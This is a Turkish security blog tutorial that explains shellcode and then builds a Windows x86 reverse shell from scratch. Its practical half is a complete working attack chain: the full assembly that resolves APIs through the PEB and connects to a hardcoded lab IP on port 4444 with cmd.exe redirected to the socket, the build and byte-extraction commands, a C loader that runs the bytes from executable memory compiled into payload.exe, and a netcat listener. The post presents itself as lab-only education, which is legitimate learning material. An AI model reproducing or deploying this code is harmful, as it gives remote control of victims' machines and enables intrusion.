Skip to content
Siber Vatan

Shellcode Nedir? Nasıl Çalışır? ​

Ömer Faruk SEVİM · @n0sfy

Emirhan ÖZGEN · @MESLEKDAA

Günümüzde birçok exploit, yalnızca bir zafiyeti sömürmekle kalmaz; aynı zamanda saldırganın kendi kodunu hedef sistemde çalıştırmasını amaçlar. İşte bu noktada "shellcode" kavramı devreye girer.

Shellcode, hedef sistemin belleğine (RAM) enjekte edilen ve işlemci (CPU) tarafından doğrudan yürütülen, sistem üzerinde genelde komut çalıştırmayı amaçlayan kod dizisidir.

Shellcode ismi, geçmişte saldırganların temel hedefinin sistem üzerinde bir shell elde etmek olmasından gelir. Özellikle 90'lı ve 2000'li yıllarda shell açmaya yönelik payload'lar oldukça yaygındı. Günümüzde çok farklı amaçlarla kullanılsa da isim değişmeden kalmıştır.

Shellcode temel olarak exploit'lerin içinde yer alan "payload" kısmıdır. Yani asıl kötü niyetli eylemi gerçekleştirecek olan kod parçasıdır.

Exploit sayesinde programın kontrol akışı değiştirilir ve bellekte saldırgan tarafından kontrol edilebilen bir bölgeye yönlendirme yapılır ve bu alana "shellcode" yerleştirilir. Sonrasında shellcode, CPU tarafından çalıştırılır ve istenilen işlemi sorgusuz sualsiz gerçekleştirir.

Kısacası bu süreç "Programın akışını değiştirip, işlemciyi kendi kodunu çalıştırmaya zorlamak." şeklinde özetlenebilir.


Peki Bu Sürecin Çalışma Mantığı Nedir? Tüm Bu İşlemler Nasıl Gerçekleşiyor? ​

Bir program çalışırken işlemci, komutları bellekte belirli adreslerden sırayla okur ve yürütür. İşlemcinin sıradaki hangi komutun çalıştırılacağını takip etmesini sağlayan yapı "Instruction Pointer" register'ıdır.

Buffer Overflow gibi bellek bozulması zafiyetlerinde saldırgan, Instruction Pointer değerini değiştirerek işlemcinin normal program akışı yerine kendi shellcode'unu çalıştırmasını sağlayabilir.

İşlemci açısından bakıldığında shellcode ile normal bir program kodu arasında bir fark yoktur. CPU yalnızca kendisine verilen adresteki byte dizilerini instruction olarak yorumlar ve yürütür. Eğer program akışı saldırganın kontrol ettiği bir bölgeye yönlendirilirse, işlemci bu kodları da normal bir program gibi çalıştıracaktır.


Shellcode'un Özellikleri ​

1. Çok küçük boyutlu olmalıdır ​

Shellcode'un en kritik özelliklerinden biri mümkün olduğunca küçük olmasıdır. Bunun sebebi, genellikle buffer overflow gibi zafiyetlerde çok sınırlı bir alanın bulunmasıdır. Büyük kodlar bu alana sığmaz veya çökme riskini artırır.

2. Konumdan Bağımsızdır (Position Independent Code - PIC) ​

Shellcode'un çalıştığı adres önceden bilinmez. Çünkü hedef programın bellek düzeni her çalıştırmada değişebilir. Bellekte hangi adres boştaysa nerede çalışabiliyorsa orada çalışır. Bu sayede herhangi bir bellek adresine bağlı olmadan çalışabilmektedir.

3. Genellikle Assembly dilinde yazılır ​

Herhangi bir derleyiciye ihtiyaç duymadan doğrudan CPU'nun çalıştırabilmesi için düşük seviyeli bir dil olan Assembly ile yazılır. Makine diline derlenir. Bu sayede hem boyutu küçük kalır hem de kütüphanelere ihtiyaç duymaz. Syscall kullanarak doğrudan çekirdek ile iletişime geçer.

4. Derlenmiş kod programın içine gömülerek çalıştırılır ​

Shellcode bağımsız bir program gibi çalıştırılmaz. Genellikle exploit edilen uygulamanın belleğine enjekte edilir ve orada çalıştırılır. Yani shellcode, hedef programın "akışı içine sızar" ve kontrolü ele alır.

5. Bağımsızdır (Self-Contained) ​

Shellcode dış kütüphanelere veya dosyalara ihtiyaç duymaz. Kendi başına çalışabilmelidir. Çünkü hedef sistemde hangi kütüphanelerin mevcut olduğu bilinmez. Bu nedenle tüm gerekli işlemler shellcode'un içinde bulunur.

6. Badchars içermemelidir ​

  • \x00 (Null Byte)
  • \x0A (Yeni satır)
  • \x0D (Satır Başı)
  • \x20 (Boşluk)

Bunlar ve buna benzer karakterler shellcode içinde bulunursa string işlemleri sırasında kod istenmeyen şekilde çalışabilir veya çalışmayabilir. Uygulamanın crash olmasına sebebiyet verebilir.

7. Amacı değişebilir ​

Eskiden sadece shell almak amacıyla kullanılsa da artık her zaman aynı amaçla kullanılmaz. Kullanım senaryosuna göre:

  • Reverse shell açabilir
  • Yetki yükseltebilir
  • Dosya çalıştırabilir
  • Sistem bilgisi toplayabilir

Yani shellcode "ne yapılmak isteniyorsa ona göre şekillenir".

8. Şekil değiştirebilir (Polymorphism) ​

Shellcode, her çalıştırmada farklı görünüme sahip olabilir ama aynı işi yapar. Bu, antivirüs ve imza tabanlı tespit sistemlerini atlatmak için kullanılır. Kod sürekli "değişen bir formda" üretilir.

9. Sistem çağrıları (syscall) kullanır ​

Shellcode doğrudan işletim sistemi çekirdeği ile iletişim kurar. Bunun için system call (syscall) mekanizmasını kullanır.

Örneğin:

  • Linux'ta execve, read, write
  • Windows'ta API/syscall zincirleri

Bu sayede shellcode, kullanıcı seviyesinden kernel seviyesine geçiş yapabilir.


Buraya kadar shellcode'un ne olduğu, nasıl çalıştığı ve hangi temel prensiplere dayandığı gibi teorik konuları ele aldık. Ancak shellcode dünyasını gerçekten anlayabilmek için yalnızca teorik bilgi yeterli değildir. Bu yüzden şimdi, tüm bu kavramları pratiğe dökerek sıfırdan kendi shellcode'umuzu yazacak, derleyecek ve bir loader aracılığıyla çalıştıracağız.

Canlı uygulamamız temel olarak üç aşamadan oluşuyor:

  1. Birinci aşama: Shellcode yazımı.
  2. İkinci aşama: O shellcode verisini hedef makinenin hafızasına yerleştirecek bir yükleyici program.
  3. Son aşama: Zararlı yazılımın hedef makineye aktarılması ve çalıştırılması.

Shellcode Yazımı ​

Shellcode yazımı için kullanacağımız dil Assembly olacak. Bunun nedeni assembly sayesinde geliştirici; hangi opcode'un kullanılacağı, kaç byte kullanılacağı veya hangi register'ın nasıl değiştirileceği gibi konuları istediği gibi ele alabilir. Bu sayede yazılan shellcode daha minimalist, badchars yönetimi yapılmış ve daha taşınabilir bir hale gelir.

Başlayalım.

1. İlk Engel: ASLR ​

Eski sistemlerde shellcode yazımı daha kolaydı, çünkü kernel32.dll gibi işletim sisteminin kalbini oluşturan kritik kütüphaneler, hafızada her zaman aynı sabit adrese yüklenirdi. Geliştirici bu adresi koda doğrudan yazar ve işlemi tamamlardı. Ancak günümüzde Windows, zararlı yazılımların işini zorlaştırmak için ASLR adı verilen bir güvenlik mekanizması kullanıyor.

ASLR, sistem her açıldığında veya program her çalıştığında bu kütüphaneleri hafızada tamamen rastgele adreslere gönderir.

Bu ASLR engellemesini aşmak için dinamik bir yapı kurmalıydık. Bu konuda da Windows mimarisinin değişmez bir kuralından faydalandık: İşletim sistemi kütüphaneleri nereye saklarsa saklasın, o an çalışan programa "Ben bu kütüphaneleri şu adreslere koydum" diye belirtmek zorundadır.

Bu belirtilen bloğu bulmak için işlemcinin FS yazmacını kullandık. 32-bit Windows sistemlerde FS:0x30 ofseti her zaman istisnasız olarak o an çalışan sürecin "Kimlik Kartı" olan PEB yapısını işaret eder. PEB'e ulaştıktan sonra, hafızadaki modüller listesini barındıran LDR yapısına geçiş yaptık. Burada bulunan InMemoryOrderModuleList üzerinde zincirleme bir tarama yaparak, kernel32.dll'in o anki gerçek adresini dinamik olarak tespit ettik.

2. PE Başlıklarını Ayrıştırmak ve Null-Byte Tuzağı ​

Adresini bulduğumuz kernel32.dll'i bir kitap olarak düşünebiliriz. Bu kitabın içinde binlerce fonksiyon yatıyor, ancak bize lazım olan tüm diğer kapıları açacak tek bir fonksiyon: GetProcAddress fonksiyonu. Bu fonksiyon, işletim sistemindeki diğer tüm kütüphaneleri ve fonksiyonları bulmamızı sağlayacak.

Peki, hafızadaki bu kitabın sayfalarını nasıl okuyacağız?

İşte burada Windows'un dosya mimarisi devreye giriyor. Windows'taki tüm .exe ve .dll dosyaları PE adı verilen yapısal bir formatta yazılır. Bir .dll dosyası işletim sistemi tarafından hafızaya yüklendiğinde, bu PE yapısını aynen korur. Bizim 1. aşamada bulduğumuz o Base Address, aslında bu PE yapısının tam olarak başladığı noktadır.

Bu adresi bir sıfır noktası olarak kabul edip, PE başlıkları üzerinde matematiksel ofset hesaplamaları yaparak adım adım derinlere indik. Dosyanın veri rehberlerini takip ederek kitabın "İçindekiler" bölümüne, yani Export Directory yapısına ulaştık. Artık binlerce fonksiyon isminin listelendiği o devasa liste önümüzdeydi.

Ancak tam bu noktada büyük bir problemle karşılaştık: Null-Byte (\x00) Problemi. Assembly kodumuzda "GetProcAddress" gibi fonksiyon isimlerini doğrudan kullanmak, dizelerin sonuna null byte eklenmesine neden olabilir. Null byte, işlemci için bir kod sonlandırma işareti değildir; ancak shellcode'un taşınması veya işlenmesi sırasında kullanılan bazı fonksiyonlar bu baytı dizenin sonu olarak yorumlayabilir. Bu durumda shellcode'un yalnızca bir bölümü kopyalanabilir ve kodun düzgün çalışması engellenebilir. Bu problemi önlemek için fonksiyon adını doğrudan bir null-terminated string olarak kullanmak yerine, karakterlerini uygun biçimde makine koduna yerleştirdik ve karşılaştırma işlemini bellek üzerindeki veriler üzerinden gerçekleştirdik.

Örnek kod:

assembly
_find_function:
    dec ecx
    cmp dword [edi], 0x50746547   ; İlk 4 harf "GetP" mi?
    jnz _find_function            ; Hayırsa, başa dön ve sonrakine geç!
    cmp dword [edi + 4], 0x41636f72 ; Sonraki 4 harf "rocA" mı?
    jnz _find_function
    cmp dword [edi + 8], 0x65726464 ; Sonraki 4 harf "ddre" mi?
    jnz _find_function

3. Ağ Altyapısını Manuel Kurmak (Winsock API) ​

Normal bir program çalıştırıldığında, Windows o programın ihtiyaç duyacağı tüm ağ kütüphanelerini otomatik olarak hafızaya yükler. Ancak biz ağ üzerinden kendi bilgisayarımıza reverse shell alabilmemiz için, kendi ağ altyapımızı inşa etmeliydik.

Bunun için bir önceki aşamada elde ettiğimiz GetProcAddress'i kullanarak, kütüphane yükleyici fonksiyon olan LoadLibraryA'nın yerini bulduk. Ardından ws2_32.dll kullanarak kütüphaneyi hafızaya zorla yüklettik.

Ağ kütüphanesini yüklemiş olsak bile, doğrudan bir soket açıp iletişim kuramayız. İşletim sistemi bizden önce WSAStartup fonksiyonunu çağırarak ağ altyapısını başlatmamızı ister. Yığıtta WSAData yapısı için boş bir alan tahsis ederek bu problemi de çözdük.

Hemen ardından WSASocketA fonksiyonu ile standart bir IPv4 TCP soketi oluşturduk. Geriye sadece açtığımız bu iletişim tünelini kendi saldırgan makinemize bağlamak kalmıştı. connect fonksiyonunu bulduk ve bağlantı bilgilerimizi yığıta sockaddr_in yapısı olarak yerleştirdik.

Burada yine karşımıza Null-Byte problemi çıktı. Hedef IP adresimizi ve 4444 portumuzu yığıta gönderirken, birleştirilmiş hex değerinin içinde sıfırlar oluşuyordu. Kodumuzun çökmemesi için bu sıfırları koda doğrudan yazmak yerine, çalışma zamanında SUB işlemi ile matematiksel olarak hesaplattık.

4. I/O Yönlendirme ​

Saldırgan makinemizle hedef sistem arasında TCP bağlantısını kurduk; ancak şu anda bu bağlantının bir karşılığı yok. Amacımız komut çalıştırmak. Bu yüzden hedef makinede bir komut satırı başlatmalı ve bu terminali bizim tünelimize bağlamalıyız.

Bunu yapmak için Windows'un süreç başlatma mekanizmasını kullanarak sisteme şu emri verdik: "Şimdi bir komut satırı açacaksın, ancak Input ve Output değerlerini az önce açtığımız bu ağ soketine yönlendireceksin." Böylece hedefteki cmd.exe doğrudan bizim makinemiz ile konuşmaya başladı.

Ancak yaptıklarımız burada bitmiyor. Eğer biz shellcode'u bu şekilde bitirirsek shellcode çalışıyor ancak program hemen crash yiyor. Bunu aşmak için shellcode'umuza bir döngü ekledik.

ÖNEMLİ HATIRLATMA
Ben bu shellcode'u kendi lab ortamıma özel hazırladım. Bu yüzden bu shellcode benim IP adresim ve belirlediğim port numarama özel çalışıyor. Siz bu ağ bağlantısı ayarlarını kendinize özel tekrar düzenlemelisiniz.


Shellcode'un Tam Hali ​

assembly
global _start

section .text
_start:
    xor eax, eax
    mov al, 0x30
    mov eax, [fs:eax]
    mov eax, [eax+0x0C]
    mov eax, [eax+0x14]
    mov eax, [eax]
    mov eax, [eax]
    mov ebx, [eax+0x10]
    mov eax, [ebx+0x3C]
    mov edi, ebx
    add edi, eax
    mov edx, [edi+0x78]
    add edx, ebx
    mov ecx, [edx+0x18]
    mov esi, [edx+0x20]
    add esi, ebx

_find_function:
    dec ecx
    mov edi, [esi + ecx * 4]
    add edi, ebx
    cmp dword [edi], 0x50746547
    jnz _find_function
    cmp dword [edi + 4], 0x41636f72
    jnz _find_function
    cmp dword [edi + 8], 0x65726464
    jnz _find_function

    mov edi, [edx + 0x24]
    add edi, ebx
    mov cx, [edi+ecx*2]
    mov edi, [edx+0x1C]
    add edi, ebx
    mov eax, [edi + ecx * 4]
    add eax, ebx
    mov ebp, eax

    xor edx, edx
    push edx
    push 0x41797261
    push 0x7262694c
    push 0x64616f4c
    push esp
    push ebx
    call ebp

    mov esi, eax
    xor edx, edx
    mov dx, 0x6c6c
    push edx
    push 0x642e3233
    push 0x5f327377
    push esp
    call esi

    mov esi, eax
    xor edx, edx
    mov dx, 0x7075
    push edx
    push 0x74726174
    push 0x53415357
    push esp
    push esi
    call ebp

    xor edx, edx
    mov dx, 0x0190
    sub esp, edx
    push esp
    xor edx, edx
    mov dx, 0x0202
    push edx
    call eax

    xor edx, edx
    mov dx, 0x4174
    push edx
    push 0x656b636f
    push 0x53415357
    push esp
    push esi
    call ebp

    xor edx, edx
    push edx
    push edx
    push edx
    mov dl, 0x06
    push edx
    sub edx, 0x05
    push edx
    inc edx
    push edx
    call eax

    mov edi, eax
    mov ecx, 0x11857476
    sub ecx, 0x11111111
    push ecx
    push 0x6e6e6f63
    push esp
    push esi
    call ebp

    xor edx, edx
    push edx
    push edx
    push 0x81efa8c0
    mov edx, 0x6d221113
    sub edx, 0x11111111
    push edx
    mov edx, esp
    push 16
    push edx
    push edi
    call eax

    xor edx, edx
    mov dx, 0x4173
    push edx
    push 0x7365636f
    push 0x72506574
    push 0x61657243
    push esp
    push ebx
    call ebp

    mov esi, eax
    mov ecx, 0x646d63ff
    shr ecx, 8
    push ecx
    mov ecx, esp
    push edi
    push edi
    push edi
    xor edx, edx
    push edx
    push edx
    xor edx, edx
    mov dh, 0x01
    push edx
    xor edx, edx
    push edx
    push edx
    push edx
    push edx
    push edx
    push edx
    push edx
    push edx
    push edx
    push edx
    mov dl, 0x44
    push edx
    mov edx, esp
    push eax
    push eax
    push eax
    push eax
    mov eax, esp
    push eax
    push edx
    xor edx, edx
    push edx
    push edx
    push edx
    inc edx
    push edx
    dec edx
    push edx
    push edx
    push ecx
    push edx
    call esi

_hang:
    jmp _hang

Shellcode'u Derlemek ​

Yazdığımız Assembly kodunu Windows'un doğrudan çalıştırabilmesi için önce işlemcinin anlayacağı saf makine koduna dönüştürmemiz gerekiyor. Saldırgan makinemizde bu işlemi üç adımda gerçekleştiriyoruz:

1. NASM ile Derleme (Assembly -> Object File) ​

bash
nasm -f elf32 win_reverse.asm -o win_reverse.o

Bu komut ile NASM aracını çağırıyoruz. NASM, bizim yazdığımız komutları alıp, 32-bitlik bir obje dosyasına dönüştürüyor. Bu aşamada kodumuz makine diline çevrildi ancak henüz tam olarak çalıştırılabilir bütün bir dosya değil.

2. Linker ile Çalıştırılabilir Dosya Üretme ​

bash
ld -m elf_i386 win_reverse.o -o win_reverse

İkinci adımda Linux'un yerleşik bağlayıcısı olan ld devreye giriyor. Obje dosyasını alıp, 32-bit x86 mimarisine uygun, derli toplu bir çalıştırılabilir dosya haline getiriyor.

3. Objdump ve Hex Extract ​

İşte işin en kritik noktası. Elimizde derlenmiş bir dosya var, ancak bu dosyanın içinde işletim sistemine ait başlıklar ve gereksiz kısımlar da bulunuyor. Bize sadece kendi yazdığımız talimatların o saf, ham makine kodları lazım.

bash
objdump -d win_reverse | grep "^ " | awk '{for(i=2;i<=NF;i++) if($i ~ /^[0-9a-fA-F]{2}$/) printf "\\x%s", $i}'; echo ""
  • objdump -d parametresi dosyayı açar ve makine kodlarını döker.
  • grep ve awk ise buradaki gereksiz yerlerin atılıp hex değerlerinin başına \x eklememize yarar.

Sonuç olarak terminal bize hexadecimal formatında saf shellcode'u verir. Şimdi bu shellcode'u alıp hedef sisteme yerleştirmek kaldı.


Loader Geliştirme ​

Elimizde saf shellcode'umuz var. Ancak bu veri yığınını bir metin belgesine kaydedip Windows'ta çalıştıramayız.

Bu engeli aşmak ve shellcode'umuzu hedefe yerleştirebilmek için, Windows API'lerini kullanan bir Loader yazmamız gerekiyor. Bu loader'ın temel amacı, işletim sistemini kandırıp kod çalıştırabileceğimiz yasal bir alan tahsis etmesini istemek ve payload'umuzu buraya gizlice yerleştirmektir.

c
// cat win_loader.c
#include <windows.h>
#include <stdio.h>

unsigned char sc[] =
"\x31\xc0\xb0\x30\x64\x8b\x00\x8b\x40\x0c\x8b\x40\x14\x8b\x00\x8b"
"\x00\x8b\x58\x10\x8b\x43\x3c\x89\xdf\x01\xc7\x8b\x57\x78\x01\xda"
"\x8b\x4a\x18\x8b\x72\x20\x01\xde\x49\x8b\x3c\x8e\x01\xdf\x81\x3f"
"\x67\x65\x74\x50\x75\xf2\x81\x7f\x04\x72\x6f\x63\x41\x75\xe9\x81"
"\x7f\x08\x64\x64\x72\x65\x75\xe0\x8b\x72\x24\x01\xdf\x66\x8b\x0c"
"\x4f\x8b\x7a\x1c\x01\xdf\x8b\x84\x8f\x01\xd8\x89\xc5\x31\xd2\x52"
"\x68\x61\x72\x79\x41\x68\x4c\x69\x62\x72\x68\x4c\x6f\x61\x64\x54"
"\x53\xff\xd5\x89\xc6\x31\xd2\x66\xba\x6c\x6c\x52\x68\x33\x32\x2e"
"\x64\x68\x77\x73\x32\x5f\x54\xff\xd6\x89\xc6\x31\xd2\x66\xba\x75"
"\x70\x52\x68\x74\x61\x72\x74\x68\x57\x53\x41\x53\x54\x56\xff\xd5"
"\x31\xd2\x66\xba\x90\x01\x29\xd4\x54\x31\xd2\x66\xba\x02\x02\x52"
"\xff\xd0\x31\xd2\x66\xba\x74\x41\x52\x68\x6f\x63\x6b\x65\x68\x57"
"\x53\x41\x53\x54\x56\xff\xd5\x31\xd2\x52\x52\x52\xb2\x06\x52\x83"
"\xea\x05\x52\x42\x52\xff\xd0\x89\xc7\xb9\x76\x74\x85\x11\x81\xe9"
"\x11\x11\x11\x11\x51\x68\x63\x6f\x6e\x6e\x54\x55\xff\xd5\x31\xd2"
"\x52\x52\x68\xc0\xa8\xef\x81\xba\x13\x11\x22\x6d\x81\xea\x11\x11"
"\x11\x11\x52\x89\xe2\x6a\x10\x52\x57\xff\xd0\x31\xd2\x66\xba\x73"
"\x41\x52\x68\x6f\x63\x65\x73\x68\x74\x65\x50\x72\x68\x43\x72\x65"
"\x61\x54\x53\xff\xd5\x89\xc6\xb9\xff\x63\x6d\x64\xc1\xe9\x08\x51"
"\x89\xe1\x57\x57\x57\x31\xd2\x52\x52\x31\xd2\xb6\x01\x52\x31\xd2"
"\x52\x52\x52\x52\x52\x52\x52\x52\x52\x52\x62\x44\x52\x89\xe2\x50"
"\x50\x50\x50\x89\x20\x50\x52\x31\xd2\x52\x52\x52\x42\x52\x4a\x52"
"\x52\x51\x52\xff\xd6\xeb\xfe";

int main() {
    printf("Shellcode Loader Baslatiliyor... \n");
    void *exec = VirtualAlloc(0, sizeof(sc), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    RtlMoveMemory(exec, sc, sizeof(sc));
    ((void(*)())exec)();
    return 0;
}

Loader kodumuzu saldırgan makinemizde hazırladığımız için, Windows'un anlayacağı bir .exe dosyası üretebilmek adına MinGW derleyicisini kullanıyoruz. Terminalde şu komutu çalıştırarak payload'umuzu elde ediyoruz:

bash
i686-w64-mingw32-gcc win_loader.c -o payload.exe

Artık her şey hazır. Bundan sonra zararlı yazılımı hedef makineye ulaştırmak ve çalıştırmak kaldı.


Shellcode'u Çalıştırma ve Reverse Shell Alma ​

Zararlı yazılımımızı hedef makineye gönderdik. Şimdi saldırgan makinemizden dinlemeye başlayalım.

bash
nc -lvnp 4444

nc -lvnp 4444 ile dinlemeye başlayalım. Burada port numaramız da çok önemli. Shellcode'da belirtilen IP adresinden ve port numarasından dinleme açtığınıza emin olun.

Dinlemeyi açtık, şimdi hedef makine üzerinde zararlıyı çalıştıralım:

cmd
C:\Users\zorro\Desktop\payload.exe
Shellcode Loader Baslatiliyor...

Kendi makinemize dönüp kontrol ettiğimizde reverse shell'in başarıyla geldiğini doğruluyoruz:


Sonuç ​

Bu lab ortamında kendi shellcode'umuzu üretip kendi test makinemizde çalıştırdık. Hazır shellcode üreten msfvenom gibi araçlar kullanmadan işin mantığını kavrayarak ilerledik. Bu mantık üzerine ilerleyerek kendi zafiyetli uygulamalarınızı yazabilirsiniz.

Bu anlattıklarım güvenli ortamlar üzerinde denenmiştir. Lab ortamı dışında zarar verecek herhangi bir aktivite yapmayınız.

Bu yazıda paylaşılan bilgiler yalnızca eğitim ve laboratuvar ortamında farkındalık oluşturmak amacıyla yazılmıştır. Yazarlar, bu bilgilerin kötü niyetli veya yasal olmayan kullanımından sorumlu tutulamaz.

Kaynakça ​

Kaynakça